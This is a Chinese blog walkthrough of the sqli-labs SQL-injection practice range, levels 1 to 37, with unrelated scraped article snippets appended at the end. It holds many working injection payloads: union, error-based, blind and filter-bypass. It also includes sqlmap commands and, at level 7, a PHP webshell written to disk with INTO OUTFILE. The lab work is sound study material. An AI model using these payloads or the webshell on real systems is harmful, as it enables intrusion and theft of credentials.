SQLI-labs靶场Less1-37详细学习记录(7400字总结)

news/2024/12/5 5:07:48/

最近突发奇想,想把之前做过的靶场进行归纳,给自己一个交代给他人一份借鉴,于是就把sqli-labs靶场作为第二篇总结拿来祭笔。

sqli-labs关卡很多,19年开始做一直到22年还没做完,总是断断续续,往返折回,这一次强烈要求自己在空余时间把所有关卡记录到博客,对注入内容进行学习总结。至于代码层面,因功力不足,保持敬畏之心,在此就不误人子弟贻笑大方了。

第一关

题目提示输入ID进行get传参,但需要注意的是这个靶场貌似是区分大小写的,但也可能是自己环境原因,使用大写ID进行传参没有任何回显的,只有输入id才可以传参,这点需要注意。

'报错

如果使用 # 注释不起作用。采用%23或者--+注释都可以#注释,order by爆字段数,4时报错,发现三个字段

union联合查询,判断回显点进行注入,前面的id=-1因为此页面不存在,所以执行后面参数。

查询数据库

http://192.168.124.69/sql-master/Less-1/?id=-1%27%20union%20select%201,database(),3%23

 下面使用information_schema一系列操作得到账号密码

-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3%23informationschema.tables该表存放所有表结构table_schema:该字段记录所有数据库名table_name:该字段记录所有数据表名构造这个payload是为了遍历pikachu这个库存在的所有表名现在我们已经知道了pikachu数据库中对应的所有表,继续进行遍历列名,构造payload: 
-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3%23information_schema.columns该表提供了所有列的信息,详细表述了某个列属于哪个表column_name:记录所有列名table_name:记录所有数据表名查看账号密码,payload:
-1' union select 1,group_concat(username,"-",password) from users%23

第二关

和第一关相比,闭合方式有所区别,数字型

id=1 order by 3 

第三关

与上面相同,,闭合方式不同。

 尝试构造闭合方式

 第四关

双引号报错,构造闭合,其余与上面相同

第五关

第五关不可以使用union联合查询,页面不输出查询结果,这里采用报错注入绕过,原理解决可以翻看去年文章

updatexml函数-报错注入原理学习_身高两米不到的博客-CSDN博客


 

过程基本如下:1' and updatexml(1,version(),1)%23
1' and updatexml(1,concat(0x7e,database()),0)%23
1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security')),0)%23
1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),0)%23
1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 1,1)),0)%23
1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1)),0)%23
1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),0)%23
1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 4,1)),0)%23
1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 5,1)),0)%23
1' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)%23
1' and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)%23

第六关

闭合方式不同,和第五关相同。

 第七关

提示outfile,立刻想到outfile往里写马,先进入数据库,看看secure_file_priv是否开启

 MySQL 5.5之后 secure_filepriv 默认是 NULL,这个情况下不可以写文件
本地value的值为NULL,表示禁止
本地value的值有文件夹目录,则表示只允许该目录下文件,在这里我只允许在D盘写入文件
如果为空,则表示不限制目录

这个闭合比较难猜,多尝试尝试

union联合查询进行写马,因为我们知道本地路径,直接写入到phpstudy目录下
真实情况下需要知道网站路径
-1')) union select 1,2,"<?php @eval($_POST['cmd']); ?>" into outfile "D://phpstudy/WWW//test.php" %23

 已经成功写入webshell

使用蚁剑进行连接,连接成功,总体来讲,利用条件还是比较苛刻。

 第八关

简单的'判断,在加上order by函数,基本可以判定为布尔盲注,如果输入为真页面不会产生变化,如果输入为假则页面会产生变化,根据这个进行判断。

 盲注这部分不推荐手注

下文是之间写过的文章复制过来

盲注我在pikachu平台手注研究过,但是工作量实在是太大。思来想去,由于不会写脚本所以决定放弃手注研究一下burpsuite+布尔盲注

如果真的要采用手注那一定是世界上只剩下这一种方法!!!
以下使我手注pikachu部分payload截取,一个小小的txt手写几十k,太残暴了。

首先使用length函数判断当前数据库名称长度,这个可以手动猜测,很快得到长度为8

对数据库对应字母进行爆破,输入payload:1' and substr(database(),1,1)='q'%23进行抓包

发送给intruder,选择第四个爆破方式,给 1,q字母增加变量

因为我们已经知道数据库的长度为8,所以第一个参数就有了

第二个参数把26位英文字母增加进去

因为我已经知道数据库名-security,真实情况下大写也是有可能的

爆破,根据返回长度得到对应数据库名-security

数据库security已经爆破出来,下面猜解表的数量,也是采用手测发现有四个

1'and (select count(*) from information_schema.tables where table_schema=database())=4%23

如果是手注下一步就应该猜测每个表的长度,然后猜测它们对应的每个字母,但是我们采用burpsuite爆破就可以直接给它一个数值范围爆就完了

1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='q'%23
得到第一个表emails

继续爆破,得到各自表

得到表名users

爆破列名,下面就不一一详列,我们只需要得到相关列

得到username和password两列

爆破账号密码DUMB:DUMB

因为这个靶场不区分大写,我这边爆破显示结果就是如此

上面是burp+手注,可以理解为半自动猜解,更推荐sqlmap直接跑

sqlmap -u  --dbms=MySQL --random-agent --flush-session --technique=U -v 3  联合注入
sqlmap -u  --dbms=MySQL --random-agent --flush-session --technique=E -v 3 报错注入
sqlmap -u  --dbms=MySQL --random-agent --flush-session --technique=B -v 3 布尔盲注
sqlmap -u  --dbms=MySQL --random-agent --flush-session --technique=T -v 3  时间注入
dbms参数,指定数据库类型;
random-agent,随机生成一个user-agent;
flush-session,清除缓存,网站扫描会生成缓存文件,下次扫描同一网站会调用缓存,如果想重新扫描要添加该命令;
technique命令指定注入方式

第九关

可以使用基于时间的盲注 ,很明显看到页面延时。

id=1' and if(length(database())=8,sleep(5),1)%23

第十关

同第九关相同,没有区别,闭合方式不同 

第十一关

burp抓包,'报错,找到注入点,和上面类似,只不过是post型

还可以使用万能密码绕过登录窗口

也可以使用burp抓包,然后保存为1.txt,然后使用sqlmap -r 1.txt进行扫描

在这里学到一个新的sqlmap注入姿势,使用data参数也可以

sqlmap -u xx --date="uname=admin&passwd=111&submit=Submit" -p "uname"

第十二关

闭合方式不同dumb"),同上面相同

 第十三关

和上面差不多,只不过一个是get一个是post

首先判断闭合方式

可以使用updatexml注入,不注意括号,命令会失败执行

uname=dumb') and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1)),0)#&passwd=admin'&submit=Submit

 其余使用extratvalue或者floor函数都是可以的

 第十四关

updatexml函数注入绕过,只不过是" 报错,感觉回到了从前

0x15    第十五关

经过判断为盲注

直接使用sqlmp跑就完了, python sqlmap.py -r 1.txt --batch

第十六关

")可以实现,并且存在盲注,上波使用布尔盲注,这里使用时间盲注方式

第十七关

注入点出现在password处,

0x18    第十八关

在user-agent处进行注入,简单尝试 ' 发现存在注入点

1' and updatexml(1,concat(0x7e,database()),1)#,1,1),这里成功回显出数据库名,这里的构造方法是新姿势,学习到了。

第十九关

注入点出现在referer处

第二十关

第二十关考察cookie注入,cookie注入提示了your cookie= 啥玩意的,使用插件进行cookie注入,成功报错,而且很有意思的是使用burp没抓到

到这里,基础注入挑战全部完成,下面进入高级注入挑战。

第二十一关

首先登录,发现返回cookie信息有变化,发现base64加密,需要注意的是每一次输入都需要base64加密再执行否则会失败的。

注入点出现在cookie处,burp改包然后base64进行加密注入。
首先判断闭合方式,根据报错尝试得知闭合为 ') ,然后使用判断字段个数,order by 4
union联合查询,看到数据库名为security
这边又对于information_schem使用有新一步理解,select 语句为一个完整语句
') union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')#
') union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users')#
') union select 1,2,group_concat(username,0x3a,password) from users#,这个查询就很强,学到。查询出账号密码之间用 : 分隔开
记得base64加密输入

还有个问题,不知道为什么hackbar没有回显,蛮有意思的。

第二十二关

二十二关闭合方式和前面不同,其余没有区别

第二十三关

这里 ' 可以成功报错,尝试过后发现把注释符号给过滤掉,无论是#还是--+又或是%23都不可以,这里需要学习的是闭合姿势 

一个是不太常见的注释符号;%00 ,一个是使用 and '1' ='1拼接后面语句使注入能够正常进行

拼接方法一
' order by 4;%00
拼接方法二
-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 and '1'='1
拼接方法三
' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' '

 第二十四关

739adc4d10df407063b54712e0fb0de4.png

首先我们注册一个用户为 admin '#:123456 的用户,然后对其进行密码修改,然后发现这修改的密码其实直接作为admin用户的密码,就为123

第二十五关

二十五关过滤掉or和and

 可以采用双写绕过

1' oorrder by 3%23

id=-1' union select 1,2,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security')%23

下面不进行展示

第二十五a关

这一关后台使用了函数error_reporting(0)从而关闭报错,而并不是输入的payload有问题

第二十六关

过滤掉空格、注释、and、or。

可代替空格符号:%0a、%0b、%0c、%0d, 

id=1' aandnd(extractvalue(1,concat(0x7e,(select(database()))))) aandnd '1'='1

 第二十六a关

这关闭合方式有点区别,其它相同

第二十七关

经过几次测试,发现正常空格、注释有问题,这里使用%0a代替空格,;%00代替注释,成功判断出列数。

继续判断?id=-1'%0Aunion%0Aselect%0A1,2,3;%00,发现union、selec被过滤。

 尝试大小写绕过,绕过成功,双写绕过也是可以的,下面不再赘述

0'%0auNion%0aselEct%0a1,2,group_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security';%00

 

 第二十七a关

闭合方式不同,其余和上面相同

第二十八关-第二十八a关

这两关环境报错,因为不熟练sql语句,加之工作原因,所以对于报错原因进行搁浅。

翻看网上过滤,基本上和前面差不多。

第二十九关

HTTP参数污染 - 珍惜少年时 - 博客园

本关卡涉及到HTTP参数污染,不同的网站处理参数方式不同,研究原理这事个人不够资格,也怕误导他人,下面借鉴前人造轮子

原理产生原因比较难,但理解运用上没啥问题。

?id=1&id=1' order by 3%23

第三十关

三十关闭合和二十九有些区别,其它无变化。

第三十一关

闭合方式其余相似

第三十二关

尝试 ' 报错,发现很明显的宽字节注入回显,现在的网站很难见到gbk编码网站,下面就不多说了

具体原理可以参考个人去年文章,里面非常详细。

 第三十三关

本关卡涉及到函数addslashes()函数,该函数会在 '  "   \ 前面加入一个 \ 用来转义

比如a' or 1=1' 转义过后就是a\' or 1=1\' ,这里的编码是gbk,也是用%df拼接吃掉 /,使得实现注入,步骤同上,主要了解该函数作用。

第三十四关

本关卡是使用POST方式绕过addslashes()函数 

34题按理说就是一个POST方式绕过,但是使用burp尝试并未成功。

第三十五关

三十五关直接用数字型绕,addslashes()防护做了等于没做。 

第三十六关

三十关是绕过mysql_real_escape_string()函数,该函数在遇到以下字符会进行转义以防止恶意注入,这里咱只要关注 '  "  /  这三个字符就可以。

还需注意的是,该函数在php5.5.0被弃用,于7.0.0中被删除。

大概知晓该函数作用尝试绕过,也是宽字节注入,和前面区别不大。

第三十七关

三十七关使用post方式传参,burp抓包改包未成功,猜测可能和我php版本有关,暂未找到原因,但是原理都是一样的,只是修改了传参方式而已。

到此处 高级注入部分完成。

总结

原本打算把该靶场一次性全部结束,但因实习工作原因,断断续续写了三周才写完高级注入部分,思来想去暂时结尾,把持更新习惯,把堆叠部分开一新篇章进行总结。


http://www.ppmy.cn/news/196798.html

相关文章

实验一 基本逻辑门电路

五、实验步骤与实验结果 1、在实验箱的“数字逻辑实验区”&#xff0c;7400芯片上进行操作&#xff0c;7400的14引脚连VCC&#xff0c;7引脚连GND&#xff0c;1引脚连“电平控制信号开关”K10&#xff0c;2引脚连K11&#xff0c;3引脚连L3(发光二极管)&#xff0c;连接好后&…

7400系列

https://en.wikipedia.org/wiki/7400_series 转载于:https://www.cnblogs.com/arci/p/6258753.html

i5 7400相当于什么档次水平 酷睿i57400参数

1、i5-7400采用了四核心四线程设计&#xff0c;3GHz主频3.5GHz最大睿频&#xff0c;在这个性能过剩的时代已经完全够用&#xff0c;加上价格诱惑使得它绝对是一个很好的选择。 i5-7400组装电脑怎么搭配更合适这些点很重要 http://www.adiannao.cn/du   2、i5-7400的稳定功耗低…

QT开发一DS7400主机调试工具

之前一直在网络上面参考别人的代码&#xff0c;现在也该拿出自己的一些东西来分享分享了&#xff0c;这个系列将会粗略的讲解一些工具和小项目的开发过程及遇到的难题和解决办法&#xff0c;将会全部开源并提供下载地址&#xff0c;其实这个开发之旅是有过一定的基础的&#xf…

中兴发布全新版本国产系统的3+1+N是什么?

随着“人手N个”手机&#xff0c;平板&#xff0c;手环&#xff0c;手表等终端设备&#xff0c;云计算技术的广泛应用&#xff0c;车联网&#xff0c;工业自动化等边缘侧场景的发展&#xff0c;作为这些智能设备的底层&#xff0c;操作系统越来越受到大家的重视&#xff0c;但操…

如何将电脑文字复制到模拟器_如何将电脑中的文字复制到手机上?

随着硬件的发展&#xff0c;人们触网变得更加多样化了&#xff0c;如台式电脑、笔记本、智能手机、智能手环等等。在生活中&#xff0c;基本上都是一会儿用下电脑&#xff0c;一会儿用下手机。在电脑干手机完成不了的事情&#xff0c;如设计、文档的编辑&#xff1b;在手机上&a…

全球80家无线通信模组企业汇总及介绍

通信模组是将芯片、存储器、功放器件等集合在一块线路板上&#xff0c;并提供标准接口的功能模组。通信模组包括蜂窝通信模组&#xff08;2/3/4/5G/NB-IoT等&#xff09;和非蜂窝类通信模组&#xff08;WiFi、蓝牙、LoRa等&#xff09;。每一个联网的终端&#xff0c;都需要借助…

六大案例、多维数据告诉你,为什么C端硬件创业领域会尸横遍野?

来源 | CB Insights 编译 | Rik 、张震 2017 年 7 月&#xff0c;设备制造商 Jawbone 成为了创业史上最引人注目的失败案例之一。 该公司的资产出售宣言姗姗来迟&#xff1a;尽管 10 年间总共攫取了 9.3 亿美元融资&#xff0c;Jawbone 却未能为其蓝牙耳机、扬声器和 Up 智能…